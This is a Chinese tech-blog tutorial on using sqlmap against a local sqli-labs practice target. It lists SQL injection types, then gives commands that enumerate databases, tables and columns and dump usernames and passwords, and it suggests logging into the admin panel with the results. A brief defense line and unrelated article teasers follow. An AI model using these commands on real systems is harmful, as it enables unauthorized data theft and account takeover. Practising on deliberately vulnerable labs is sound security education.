百度360必应搜狗淘宝本站头条
php redisredis 命令redis 锁redis 主从redis 删除
当前位置：网站首页 > 技术教程 > 正文

黑客技术——SQLMAP获取后台账号密码

mhr18 2025-01-05 18:58 17 浏览 0 评论


BY 马丁

一． SQLmap

SQLMap是一个自动化注入工具，其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞，内置了很多绕过插件。支持的数据库Mysql、Oracle、SQL Server等众多数据库。

二． 常见注入类型

ü 布尔类型盲注，即可以根据返回页面判断条件真假的注入

ü 基于时间的盲注，即不能根据返回页面的内容判断任何信息，要用条件语句查看时间的延迟语句是否已执行(页面返回时间的增加)来判断

ü 基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回到页面中

ü 联合查询注入，在可以使用Union的情况下的注入

ü 堆查询注入，可以使用多条执行语句时的注入

三． 所用环境及工具

ü Python 2.7.8

ü SQLMap 1.4

ü Sqlilabs

四． 步骤

1. 安装SQLMap需要安装python环境(不支持python3)，实验中使用到的环境是python 2.7.8。安装好了过后如下图。

2. 把SQLMap安装包放入python的安装目录下面，进入到SQLMap的目录。

3. 判断目标URL是否存在注入点。检测出注入点，便进一步查询数据库。

4. 查询当前用户下的所有数据库名称 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs

5. 查询当前使用的数据库 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db 获取当前数据库的名称

6. 进而查询当前数据中的表 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security –tables

7. 知道了表过后，就可以来查询表中的字段了 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users –columns

8. 查询出了字段过后，就可以来查寻表中的数据了，也就是账号密码。得到帐户密码过后，可以寻找后台地址来尝试登陆。

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C password,username –dump

五． SQL注入的防御

对客户端提交的代码进行严格的转义和过滤。

相关推荐

一文读懂Prometheus架构监控（prometheus监控哪些指标）

介绍Prometheus是一个系统监控和警报工具包。它是用Go编写的，由Soundcloud构建，并于2016年作为继Kubernetes之后的第二个托管项目加入云原生计算基金会（C...

Spring Boot 3.x 新特性详解:从基础到高级实战

1.SpringBoot3.x简介与核心特性1.1SpringBoot3.x新特性概览SpringBoot3.x是建立在SpringFramework6.0基础上的重大版...

「技术分享」猪八戒基于Quartz分布式调度平台实践

点击原文：【技术分享】猪八戒基于Quartz分布式调度平台实践点击关注“八戒技术团队”，阅读更多技术干货1.背景介绍1.1业务场景调度任务是我们日常开发中非常经典的一个场景，我们时常会需要用到一些不...

14. 常用框架与工具（使用的框架）

本章深入解析Go生态中的核心开发框架与工具链，结合性能调优与工程化实践，提供高效开发方案。14.1Web框架（Gin,Echo）14.1.1Gin高性能实践//中间件链优化router:=...

SpringBoot整合MyBatis-Plus:从入门到精通

一、MyBatis-Plus基础介绍1.1MyBatis-Plus核心概念MyBatis-Plus（简称MP）是一个MyBatis的增强工具，在MyBatis的基础上只做增强不做改变，为简化开发、提...

Seata源码—5.全局事务的创建与返回处理

大纲1.Seata开启分布式事务的流程总结2.Seata生成全局事务ID的雪花算法源码3.生成xid以及对全局事务会话进行持久化的源码4.全局事务会话数据持久化的实现源码5.SeataServer创...

Java开发200+个学习知识路线-史上最全(框架篇)

1.Spring框架深入SpringIOC容器：BeanFactory与ApplicationContextBean生命周期：实例化、属性填充、初始化、销毁依赖注入方式：构造器注入、Setter注...

OpenResty 入门指南:从基础到动态路由实战

一、引言1.1OpenResty简介OpenResty是一款基于Nginx的高性能Web平台，通过集成Lua脚本和丰富的模块，将Nginx从静态反向代理转变为可动态编程的应用平台...

你还在为 Spring Boot3 分布式锁实现发愁?一文教你轻松搞定!

作为互联网大厂后端开发人员，在项目开发过程中，你有没有遇到过这样的问题：多个服务实例同时访问共享资源，导致数据不一致、业务逻辑混乱？没错，这就是分布式环境下常见的并发问题，而分布式锁就是解决这类问题的...

近2万字详解JAVA NIO2文件操作，过瘾

原创：小姐姐味道（微信公众号ID：xjjdog），欢迎分享，转载请保留出处。从classpath中读取过文件的人，都知道需要写一些读取流的方法，很是繁琐。最近使用IDEA在打出.这个符号的时候，一行代...

学习MVC之租房网站(十二)-缓存和静态页面

在上一篇<学习MVC之租房网站（十一）-定时任务和云存储>学习了Quartz的使用、发邮件，并将通过UEditor上传的图片保存到云存储。在项目的最后，再学习优化网站性能的一些技术：缓存和...

Linux系统下运行c++程序（linux怎么运行c++文件）

引言为什么要在Linux下写程序？需要更多关于Linux下c++开发的资料请后台私信【架构】获取分享资料包括：C/C++，Linux，Nginx，ZeroMQ，MySQL，Redis，fastdf...

2022正确的java学习顺序(文末送java福利)

对于刚学习java的人来说，可能最大的问题是不知道学习方向，每天学了什么第二天就忘了，而课堂的讲解也是很片面的。今天我结合我的学习路线为大家讲解下最基础的学习路线，真心希望能帮到迷茫的小伙伴。（有很多...

一个 3 年 Java 程序员 5 家大厂的面试总结(已拿Offer)

前言15年毕业到现在也近三年了，最近面试了阿里集团（菜鸟网络，蚂蚁金服），网易，滴滴，点我达，最终收到点我达，网易offer，蚂蚁金服二面挂掉，菜鸟网络一个月了还在流程中...最终有幸去了网易。但是要...

多商户商城系统开发全流程解析（多商户商城源码免费下载）

在数字化商业浪潮中，多商户商城系统成为众多企业拓展电商业务的关键选择。这类系统允许众多商家在同一平台销售商品，不仅丰富了商品种类，还为消费者带来更多样的购物体验。不过，开发一个多商户商城系统是个复杂的...

取消回复欢迎 你 发表评论:

一周热门
最近发表
标签列表